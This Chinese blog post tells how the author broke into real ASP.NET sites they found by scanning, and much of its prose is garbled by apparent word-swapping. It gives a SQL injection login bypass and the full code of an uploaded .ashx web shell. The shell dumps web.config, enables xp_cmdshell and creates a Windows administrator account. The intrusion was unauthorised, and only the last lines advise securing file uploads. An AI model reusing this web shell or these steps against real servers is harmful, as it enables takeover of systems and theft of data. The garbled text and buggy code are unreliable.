记三回ASP.NET网站的侵扰和咋样避免被侵入

 

 

ASP.NET网站入侵第二波(LeaRun.信息化疾速支付框架
已被作者砍下)

 

 

详细介绍请看第二波

 

 

 

 

第一自己要讲明的是不是怎样语言写出来的次第就不安全,而是得看写代码的人何以去写这一个顺序

  前些日子我去客户那调研,发现客户的督查序列用的是海康威视的硬盘视频机,然后默认用户名是amdin
密码是12345,回来后就想玩一玩看看有微微人用的是默认密码,于是就写了个扫描程序,很快扫描到了一大批网站,也收获不少运用的是默认用户名和密码。

 
玩了一两天后发觉没什么好玩的,就不管在里边找找扫描记录,看到有些后台登陆地方,于是就都测试下,然后就发现了这多少个网站:图片 1

最先导自我是测试弱口令,

admin  amdin 
等,随便测试了多少个,没得逞,于是开首测试sql的防注入,用户名输入 1′ or
1=1– 密码随便输了个1
登陆,居然登陆成功了。。。。图片 2

但意识登陆进来后报错了,,,
想了下或者是用户名的题材,于是就找页面看看能不可能看出自家的登陆用户名,最终找到写邮件里面看到了

当然如若侵犯只到这你肯定会绝对弱爆了。。。其实当然也是,因为自己拿下了她的多少和程序。。。当然最好拿下了他的服务器,得知他服务器是做的端口映射,于是又砍下了他的路由器,然后就从不再持续往下举行了,当然还足以继续下去,比如
路由器的dns威胁,页面重定向,端口镜像等等

上面我开首介绍首要入侵页面,文件上传页面

图片 3

 

友善写了个ashx页面,上传

代码很简短,就是读取网站的web.config文件然后以文件形式出口,

本人先简单说下入侵流程:

1、读取web.config得到数据库连接

2、利用SQL
Server执行命令添加Windows用户(因为网站默认是iis用户,没有权力直线net等连锁操作,但SQL
Server是遵照本地服务运作的,权限很高)

自家贴出我上传的ashx文件代码:

图片 4图片 5

 1 <%@ WebHandler Language="C#" Class="TextLd" %>
 2 using System;
 3 using System.Collections.Generic;
 4 using System.Linq;
 5 using System.Web;
 6 using System.Data.SqlClient;
 7 
 8     public class TextLd : IHttpHandler
 9     {
10         public void CreateLocalUser(string newPath)
11         {
12             System.Diagnostics.Process.Start(@"d:\1.vbs");
13             System.IO.File.WriteAllText(@"d:\1.vbs", "set wsnetwork=CreateObject(\"WSCRIPT.NETWORK\") \r\n os=\"WinNT://\"&wsnetwork.ComputerName \r\n Set ob=GetObject(os) \r\nSet oe=GetObject(os&\"/Administrators,group\") '属性,admin组\r\nod=ob.Create(\"user\",\"test\") '建立用户 \r\nSetPassword \"1234\" '设置密码 \r\nSetInfo\r\nof=GetObject(os&\"/test\",user)\r\n add os&\"/test\"");
14         }
15         public void ShowWebConfig(HttpContext context)
16         {
17             context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config")));
18         }
19         public void WriteVbs(HttpContext context)
20         {
21             System.IO.File.WriteAllText(context.Request.MapPath("~/1.vbs"), "set wsnetwork=CreateObject(\"WSCRIPT.NETWORK\") \r\n os=\"WinNT://\"&wsnetwork.ComputerName \r\n Set ob=GetObject(os) \r\nSet oe=GetObject(os&\"/Administrators,group\") '属性,admin组\r\nod=ob.Create(\"user\",\"test\") '建立用户 \r\nSetPassword \"1234\" '设置密码 \r\nSetInfo\r\nof=GetObject(os&\"/test\",user)\r\n add os&\"/test\"");
22         }
23         public void ExecuteSql(string connection, string sql)
24         {
25             using (SqlConnection con = new SqlConnection(connection))
26             {
27                 using (SqlCommand commd = new SqlCommand(sql, con))
28                 {
29                     con.Open();
30                     commd.ExecuteNonQuery();
31                     con.Close();
32                 }
33             }
34         }
35         public void ProcessRequest(HttpContext context)
36         {
37             context.Response.ContentType = "text/plain";
38             context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config")));
39             try
40             {
41                 var connection = context.Request.QueryString["connection"];
42                 switch (context.Request.QueryString["method"])
43                 {
44                     case "1": WriteVbs(context); break;
45                     case "2":
46                         ExecuteSql(connection,@"sp_configure 'show advanced options',1  reconfigure");
47                         ExecuteSql(connection,@"sp_configure 'xp_cmdshell',1 reconfigure");//开启数据库的xp_cmdshell
48                         break;
49                     case "3": ExecuteSql(connection, "exec master..xp_cmdshell 'cscript " + context.Request.MapPath("~/1.vbs") + "'");
50                         break;
51                     default:
52                         ShowWebConfig(context);
53                         break;
54                 }
55             }
56             catch (Exception ex)
57             {
58                 context.Response.Write(ex.Message);
59             }
60             context.Response.End();
61         }
62         public bool IsReusable
63         {
64             get
65             {
66                 return false;
67             }
68         }
69     }

View Code

下一场一回施行,就这样服务器就被自己砍下了。。。 
建立了一个用户名为test密码是1234的一流管理员用户,于是测试下远程连接

图片 6

然后弄干啥,我们都知道的。。。。

理所当然,假使不砍下他服务器,你想想你都能直线你自己写的代码了。。。
什么坏事干不了。。。
当然我只是测试了下可行性,尽管不拿下服务器,执行sql语句把他数据库备份下载下来拿还不是分分钟的政工?

好了
我来总计下這次入侵呢,最要害的北海其实不是他的sql注入(个人认为,当然她是导火索),而是文件上传,大部分程序员在写文件上传功能的时候,以前客户上传过来的文本保留到网站目录下的某部文件夹,不做任何处理,这也就是造成了她服务器被我拿下的最要害的入口。
于是自己或者劝说大家瞬间,做文件上传依然对文本举办下处理比较好,具体怎么处理自己想精晓的您肯定有无数艺术。。。

 

小学文化的自身伤不起啊。。。。 哎 。。。 
原谅我文采不佳   你们将就着看呢-.-!

相关文章